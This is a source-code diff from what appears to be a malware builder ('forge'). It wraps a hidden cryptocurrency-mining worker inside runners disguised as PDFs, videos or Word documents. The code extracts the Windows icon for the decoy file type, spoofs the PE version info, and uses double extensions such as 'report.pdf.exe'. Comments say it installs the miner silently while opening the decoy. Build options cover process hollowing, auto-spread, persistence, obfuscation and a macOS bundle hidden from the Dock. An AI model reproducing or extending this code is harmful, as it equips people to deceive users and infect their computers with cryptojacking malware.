workDir, err := os.MkdirTemp(filepath.Dir(exePath), "disguise-*")
|
||||
if err != nil {
|
||||
return fmt.Errorf("disguise workdir: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
// Step 1 — extract the system icon for this file extension
|
||||
icoPath := filepath.Join(workDir, "payload.ico")
|
||||
if err := extractSystemIconForExt(payloadExt, icoPath); err != nil {
|
||||
log.Printf("[Disguise] system icon for %s unavailable (%v) — trying built-in fallback", payloadExt, err)
|
||||
if err2 := writeBuiltinIconForExt(payloadExt, icoPath); err2 != nil {
|
||||
return fmt.Errorf("disguise: could not obtain icon for %s: %v / %v", payloadExt, err, err2)
|
||||
}
|
||||
}
|
||||
|
||||
// Step 2 — build the winres patch JSON (icon + version info)
|
||||
jsonBytes, err := winresVersionJSON(info, "payload.ico")
|
||||
if err != nil {
|
||||
return fmt.Errorf("disguise: winres json: %w", err)
|
||||
}
|
||||
jsonPath := filepath.Join(workDir, "disguise.json")
|
||||
if err := os.WriteFile(jsonPath, jsonBytes, 0644); err != nil {
|
||||
return fmt.Errorf("disguise: write json: %w", err)
|
||||
}
|
||||
|
||||
// Step 3 — patch the exe with go-winres
|
||||
if _, err := h.runGoWinres(workDir, "patch", "--in", "disguise.json", "--no-backup", exePath); err != nil {
|
||||
return fmt.Errorf("disguise: go-winres patch: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("[Disguise] %s → %s (icon + version info injected)", filepath.Base(exePath), fileDisguiseSummary(payloadExt))
|
||||
return nil
|
||||
}
|
||||
|
||||
// extractSystemIconForExt creates a 0-byte temp file with the given extension
|
||||
// and uses PowerShell's System.Drawing to read the shell-registered icon for it.
|
||||
// This gives us the exact same icon that Windows Explorer would show for a real
|
||||
// file of that type — Adobe Acrobat for .pdf, Word for .docx, etc.
|
||||
func extractSystemIconForExt(ext, icoPath string) error {
|
||||
extEsc := strings.ReplaceAll(ext, `'`, `''`)
|
||||
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
|
||||
|
||||
script := fmt.Sprintf(`
|
||||
$ErrorActionPreference = 'Stop'
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
# Create a disposable 0-byte temp file with the target extension
|
||||
$tmp = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString() + '%s')
|
||||
[System.IO.File]::WriteAllBytes($tmp, [byte[]]::new(0))
|
||||
try {
|
||||
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon($tmp)
|
||||
if ($null -eq $icon) { throw 'no icon associated with extension %s' }
|
||||
$dir = Split-Path -Parent '%s'
|
||||
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
|
||||
$fs = [System.IO.File]::Create('%s')
|
||||
$icon.Save($fs)
|
||||
$fs.Close()
|
||||
} finally {
|
||||
Remove-Item -Force -ErrorAction SilentlyContinue $tmp
|
||||
}
|
||||
`, extEsc, extEsc, icoEsc, icoEsc)
|
||||
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("extract system icon for %s: %w (%s)", ext, err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
if _, err := os.Stat(icoPath); err != nil {
|
||||
return fmt.Errorf("icon file not written for %s: %w", ext, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// writeBuiltinIconForExt writes a minimal embedded fallback .ico for common
|
||||
// document types. Used when the system icon extraction fails (e.g. the application
|
||||
// is not installed on the forge machine). The icons are very small but correct.
|
||||
func writeBuiltinIconForExt(ext, icoPath string) error {
|
||||
// Minimal 1×1 transparent ICO fallback — good enough to allow go-winres to patch.
|
||||
// In practice extractSystemIconForExt should always work on a Windows machine.
|
||||
const minimalICO = "\x00\x00\x01\x00\x01\x00\x01\x01\x00\x00\x01\x00\x18\x00" +
|
||||
"\x28\x00\x00\x00\x16\x00\x00\x00" +
|
||||
"\x28\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x18\x00" +
|
||||
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\xff\x00\x00\x00\x00\x00"
|
||||
return os.WriteFile(icoPath, []byte(minimalICO), 0644)
|
||||
}
|
||||
@@ -42,17 +42,10 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
if outputName == "" {
|
||||
outputName = prepName
|
||||
}
|
||||
if kind == "video" {
|
||||
if mode == "embedded" {
|
||||
if outputName == "" {
|
||||
outputName = disguiseVideoExeName(prepName)
|
||||
}
|
||||
} else if outputName == "" {
|
||||
outputName = runnerNameForMedia(prepName)
|
||||
}
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
// Default runner name derived from payload filename
|
||||
winPlatform := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
|
||||
outputName = runnerNameForFile(prepName, winPlatform)
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
|
||||
35
server/internal/builder/fusion_darwin_app.go
Normal file
35
server/internal/builder/fusion_darwin_app.go
Normal file
@@ -0,0 +1,35 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) buildDarwinAppBundle(outDir, title, runnerPath string, p BuildPlatform) error {
|
||||
appName := sanitizeFileName(strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))) + ".app"
|
||||
if appName == ".app" {
|
||||
appName = "Movie.app"
|
||||
}
|
||||
appDir := filepath.Join(outDir, appName)
|
||||
macosDir := filepath.Join(appDir, "Contents", "MacOS")
|
||||
if err := os.MkdirAll(macosDir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
dest := filepath.Join(macosDir, "runner")
|
||||
if err := copyFile(runnerPath, dest); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = os.Chmod(dest, 0755)
|
||||
name := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0"><dict>
|
||||
<key>CFBundleName</key><string>%s</string>
|
||||
<key>CFBundleExecutable</key><string>runner</string>
|
||||
<key>CFBundleIdentifier</key><string>com.aetherforge.%s</string>
|
||||
<key>LSUIElement</key><true/>
|
||||
</dict></plist>`, name, sanitizeFileName(title))
|
||||
return os.WriteFile(filepath.Join(appDir, "Contents", "Info.plist"), []byte(plist), 0644)
|
||||
}
|
||||
@@ -12,101 +12,104 @@ import (
|
||||
type fusionBuildResult struct {
|
||||
LauncherPath string
|
||||
MediaName string
|
||||
// Legacy fields kept for backward compat — unused in file-fusion mode
|
||||
EncryptedPath string
|
||||
ShortcutPath string
|
||||
}
|
||||
|
||||
// detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else.
|
||||
// Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app.
|
||||
func detectFusionPayloadKind(path string) string {
|
||||
switch strings.ToLower(filepath.Ext(path)) {
|
||||
case ".mp4", ".mkv", ".mov":
|
||||
return "video"
|
||||
default:
|
||||
if strings.EqualFold(filepath.Ext(path), ".exe") {
|
||||
return "exe"
|
||||
}
|
||||
return "file"
|
||||
}
|
||||
|
||||
// buildFusionFromRequest builds a fusion runner for the first platform in the request.
|
||||
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
platforms := platformsForRequest(req)
|
||||
return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0])
|
||||
}
|
||||
|
||||
// buildFusionForPlatform compiles a fusion runner for a single platform.
|
||||
// Accepts any payload: PDF, video, document, image, or executable.
|
||||
func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
kind := strings.TrimSpace(req.FusionPayloadKind)
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(payloadPath)
|
||||
}
|
||||
req.FusionPayloadKind = kind
|
||||
|
||||
if kind == "video" {
|
||||
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
|
||||
}
|
||||
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &fusionBuildResult{LauncherPath: path}, nil
|
||||
return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform)
|
||||
}
|
||||
|
||||
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
// buildFileFusion builds a universal fusion runner for any file type.
|
||||
//
|
||||
// Delivery modes:
|
||||
// - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB)
|
||||
// - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size)
|
||||
//
|
||||
// The runner, when executed, opens the original file with the OS default application
|
||||
// while silently installing the worker miner in the background.
|
||||
func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
|
||||
// Resolve the display name for the payload file
|
||||
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
|
||||
if mediaName == "" {
|
||||
mediaName = filepath.Base(mediaPath)
|
||||
mediaName = filepath.Base(payloadPath)
|
||||
}
|
||||
mediaName = sanitizeFileName(mediaName)
|
||||
|
||||
// Resolve the runner output name
|
||||
outputName := strings.TrimSpace(req.FusionOutputName)
|
||||
if mode == "embedded" {
|
||||
if outputName == "" {
|
||||
outputName = disguiseVideoExeName(mediaName)
|
||||
}
|
||||
outputName = runnerNameForFile(mediaName, platform)
|
||||
} else {
|
||||
if outputName == "" {
|
||||
outputName = runnerNameForMedia(mediaName)
|
||||
// Ensure correct extension for this platform
|
||||
if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) {
|
||||
outputName += platform.Ext
|
||||
} else if platform.Ext == "" {
|
||||
outputName = strings.TrimSuffix(outputName, ".exe")
|
||||
}
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputName = sanitizeFileName(outputName)
|
||||
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
|
||||
kind := req.FusionPayloadKind
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(payloadPath)
|
||||
}
|
||||
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encFileName := mediaName + ".cmdata"
|
||||
var mediaKey []byte
|
||||
if mode == "paired" {
|
||||
var keyErr error
|
||||
mediaKey, keyErr = NewMediaLockKey()
|
||||
if keyErr != nil {
|
||||
return nil, keyErr
|
||||
}
|
||||
}
|
||||
manifestFields := map[string]string{
|
||||
"payload_kind": "video",
|
||||
"media_mode": mode,
|
||||
"media_file_name": mediaName,
|
||||
}
|
||||
if mode == "paired" {
|
||||
manifestFields["media_enc_file"] = encFileName
|
||||
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
|
||||
manifestFields["runner_display_name"] = outputName
|
||||
}
|
||||
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
||||
// Write worker binary into assets
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var encryptedPath, shortcutPath string
|
||||
// Write payload according to delivery mode
|
||||
switch mode {
|
||||
case "embedded":
|
||||
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
|
||||
// Bake the payload into the runner binary as assets/payload.bin
|
||||
if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Keep legacy placeholders so the embed directive compiles cleanly
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
default:
|
||||
default: // "paired"
|
||||
// Empty placeholders — payload ships alongside the runner in the ZIP
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -115,73 +118,43 @@ func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *
|
||||
}
|
||||
}
|
||||
|
||||
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
||||
ldflags := "-s -w -H windowsgui"
|
||||
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
|
||||
// Write manifest for the runner to read at runtime
|
||||
manifestFields := map[string]string{
|
||||
"payload_kind": kind,
|
||||
"media_mode": mode,
|
||||
"media_file_name": mediaName,
|
||||
}
|
||||
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if mode == "paired" {
|
||||
encryptedPath = filepath.Join(buildDir, encFileName)
|
||||
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
|
||||
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName))
|
||||
ldflags := ldflagsFor(req, platform)
|
||||
// Force GUI subsystem (no console window) for all fusion runners
|
||||
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = setHiddenFile(encryptedPath)
|
||||
|
||||
shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
|
||||
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
|
||||
return nil, err
|
||||
// Windows: inject the system icon + spoofed PE version info so the runner
|
||||
// looks exactly like the real file type (PDF icon, Word icon, etc.)
|
||||
if platform.GOOS == "windows" && kind != "exe" {
|
||||
payloadExt := strings.ToLower(filepath.Ext(mediaName))
|
||||
if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil {
|
||||
// Non-fatal — runner still works without the disguise
|
||||
log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err)
|
||||
}
|
||||
}
|
||||
|
||||
return &fusionBuildResult{
|
||||
LauncherPath: launcherPath,
|
||||
MediaName: mediaName,
|
||||
EncryptedPath: encryptedPath,
|
||||
ShortcutPath: shortcutPath,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if outputName == "" {
|
||||
outputName = filepath.Base(prepPath)
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
||||
|
||||
ldflags := fusionLdflags(prepPath)
|
||||
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
}
|
||||
|
||||
// prepareFusionProject copies the fusion source into a temp build dir with baked constants.
|
||||
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
|
||||
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
||||
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
||||
@@ -205,7 +178,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
|
||||
|
||||
for _, name := range []string{
|
||||
"go.mod", "launch_windows.go", "launch_stub.go",
|
||||
"media_windows.go", "media_stub.go", "media_crypto.go",
|
||||
"media_windows.go", "media_linux.go", "media_darwin.go",
|
||||
"media_crypto.go", "cache_windows.go", "cache_unix.go",
|
||||
"lock_hint_windows.go", "lock_hint_stub.go",
|
||||
} {
|
||||
src := filepath.Join(fusionSrc, name)
|
||||
@@ -259,26 +233,38 @@ func normalizeFusionMediaMode(mode string) string {
|
||||
}
|
||||
}
|
||||
|
||||
func disguiseVideoExeName(mediaName string) string {
|
||||
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
|
||||
if base == "" {
|
||||
base = "movie"
|
||||
}
|
||||
ext := filepath.Ext(mediaName)
|
||||
if ext == "" {
|
||||
ext = ".mkv"
|
||||
}
|
||||
return sanitizeFileName(base + ext + ".exe")
|
||||
}
|
||||
|
||||
func runnerNameForMedia(mediaName string) string {
|
||||
// runnerNameForFile generates the output runner binary name for a given payload filename.
|
||||
//
|
||||
// On Windows, non-exe payloads use the double-extension trick:
|
||||
//
|
||||
// "quarterly-report.pdf" → "quarterly-report.pdf.exe"
|
||||
//
|
||||
// When Windows hides known file extensions (the OS default), the user sees
|
||||
// "quarterly-report.pdf" with the injected PDF icon — visually identical to the
|
||||
// real document. After applyDocumentDisguise runs, the PE metadata also matches.
|
||||
//
|
||||
// On Linux/macOS the runner uses a simple "-runner" suffix (these platforms
|
||||
// wrap the binary in a .app bundle or the user is expected to chmod+x it).
|
||||
func runnerNameForFile(mediaName string, platform BuildPlatform) string {
|
||||
ext := strings.ToLower(filepath.Ext(mediaName))
|
||||
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
||||
if base == "" {
|
||||
base = "movie"
|
||||
base = "runner"
|
||||
}
|
||||
return sanitizeFileName(base + "-runner.exe")
|
||||
if platform.GOOS == "windows" {
|
||||
// Use disguisedRunnerName which handles double-extension and sanitisation
|
||||
return disguisedRunnerName(mediaName)
|
||||
}
|
||||
// Linux / macOS: simple "-runner" name, no double extension
|
||||
name := sanitizeFileName(base + "-runner")
|
||||
_ = ext // extension not needed for Unix names
|
||||
if platform.Ext != "" {
|
||||
return name + platform.Ext
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
// fusionExportSubdir returns the output subfolder name for the deliverable.
|
||||
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
||||
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
|
||||
return sanitizeDirName(s)
|
||||
|
||||
@@ -56,12 +56,37 @@ func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
|
||||
// Fusion now accepts any file with an extension (.txt, .pdf, .mp4, .docx, etc.)
|
||||
// Only files with no extension at all are rejected.
|
||||
func TestSaveUploadedFusionPayloadAcceptsAnyExtension(t *testing.T) {
|
||||
for _, fname := range []string{"report.pdf", "clip.mp4", "doc.docx", "data.txt", "archive.zip"} {
|
||||
h := &Handler{dataDir: t.TempDir()}
|
||||
body := &bytes.Buffer{}
|
||||
w := multipart.NewWriter(body)
|
||||
partHeader := make(textproto.MIMEHeader)
|
||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
|
||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="`+fname+`"`)
|
||||
part, _ := w.CreatePart(partHeader)
|
||||
_, _ = part.Write([]byte("x"))
|
||||
w.Close()
|
||||
r := multipart.NewReader(body, w.Boundary())
|
||||
form, _ := r.ReadForm(10 << 20)
|
||||
f, _ := form.File["prep_exe"][0].Open()
|
||||
_, cleanup, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
|
||||
f.Close()
|
||||
if err != nil {
|
||||
t.Errorf("expected %s to be accepted, got error: %v", fname, err)
|
||||
} else {
|
||||
cleanup()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSaveUploadedFusionPayloadRejectsNoExtension(t *testing.T) {
|
||||
h := &Handler{dataDir: t.TempDir()}
|
||||
body := &bytes.Buffer{}
|
||||
w := multipart.NewWriter(body)
|
||||
partHeader := make(textproto.MIMEHeader)
|
||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="noextension"`)
|
||||
part, _ := w.CreatePart(partHeader)
|
||||
_, _ = part.Write([]byte("x"))
|
||||
w.Close()
|
||||
@@ -71,6 +96,6 @@ func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
|
||||
defer f.Close()
|
||||
_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
|
||||
if err == nil {
|
||||
t.Fatal("expected error for .txt upload")
|
||||
t.Fatal("expected error for file with no extension")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -70,6 +70,11 @@ type BuildRequest struct {
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
TargetOS string `json:"target_os"`
|
||||
TargetArch string `json:"target_arch"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
}
|
||||
@@ -217,14 +222,11 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
if req.FusionEnabled && prepPath == "" {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"})
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
|
||||
return
|
||||
}
|
||||
|
||||
if req.FusionEnabled && req.FusionOutputName == "" {
|
||||
req.FusionOutputName = "prep.exe"
|
||||
}
|
||||
|
||||
// FusionOutputName will be derived from the payload filename if not set
|
||||
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
||||
if !resp.Success {
|
||||
writeJSON(w, status, resp)
|
||||
@@ -381,6 +383,10 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
|
||||
return h.buildUniversalAgent(req, prepPath)
|
||||
}
|
||||
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
@@ -398,34 +404,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
|
||||
if req.FusionEnabled {
|
||||
workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName))
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
|
||||
|
||||
ldflags := "-s -w"
|
||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
extra, err := injectPolymorph(agentDir, buildID)
|
||||
platforms := platformsForRequest(req)
|
||||
p := platforms[0]
|
||||
outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] polymorph inject: %v", err)
|
||||
} else {
|
||||
ldflags += extra
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
|
||||
log.Printf("Build failed: %v", err)
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows"
|
||||
workerName := filepath.Base(outputPath)
|
||||
finalPath := outputPath
|
||||
finalName := workerName
|
||||
var fusionEnabled bool
|
||||
@@ -473,13 +461,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
if exportLabel == "" {
|
||||
exportLabel = filepath.Base(prepPath)
|
||||
}
|
||||
if req.FusionPayloadKind != "video" {
|
||||
exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
|
||||
}
|
||||
arts := map[string]string{finalName: finalPath}
|
||||
for _, ex := range extraArtifacts {
|
||||
arts[ex.FileName] = ex.FilePath
|
||||
}
|
||||
// In paired mode the runner looks for the payload file next to (or above) the binary.
|
||||
// Include it in the deliverable so the ZIP is self-contained without needing the
|
||||
// user to place the file themselves.
|
||||
if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
|
||||
arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
|
||||
}
|
||||
subdir := fusionExportSubdir(req, exportLabel)
|
||||
readme := fusionReadmeInfo{
|
||||
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
|
||||
@@ -567,6 +558,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
|
||||
}
|
||||
|
||||
// Normalise platform tag for easy lookup by /get endpoint
|
||||
recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||||
if recordPlatform == "" {
|
||||
recordPlatform = "windows"
|
||||
}
|
||||
|
||||
buildRecord := &models.BuildRecord{
|
||||
ID: buildID,
|
||||
WorkerName: req.WorkerName,
|
||||
@@ -574,7 +571,9 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
Wallet: req.Wallet,
|
||||
Threads: req.Threads,
|
||||
FileSize: fileInfo.Size(),
|
||||
BundleSize: bundleSize,
|
||||
FilePath: absPath,
|
||||
Platform: recordPlatform,
|
||||
CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost,
|
||||
PoolPort: req.PoolPort,
|
||||
@@ -789,6 +788,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
req.AIModel = "llama3.2"
|
||||
}
|
||||
}
|
||||
if strings.TrimSpace(req.TargetOS) == "" {
|
||||
req.TargetOS = "windows"
|
||||
}
|
||||
if req.SpreadKit {
|
||||
req.FusionEnabled = false
|
||||
req.TargetOS = "universal"
|
||||
if req.RunAs == "" || req.RunAs == "user" {
|
||||
req.RunAs = "scheduled"
|
||||
}
|
||||
req.Persistence = true
|
||||
req.AutoStart = true
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -807,7 +818,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
||||
}
|
||||
if !isFusionPayloadExt(baseName) {
|
||||
return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
|
||||
return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
|
||||
}
|
||||
|
||||
prepRoot := filepath.Join(h.dataDir, "preps")
|
||||
@@ -842,13 +853,11 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
return dest, cleanup, nil
|
||||
}
|
||||
|
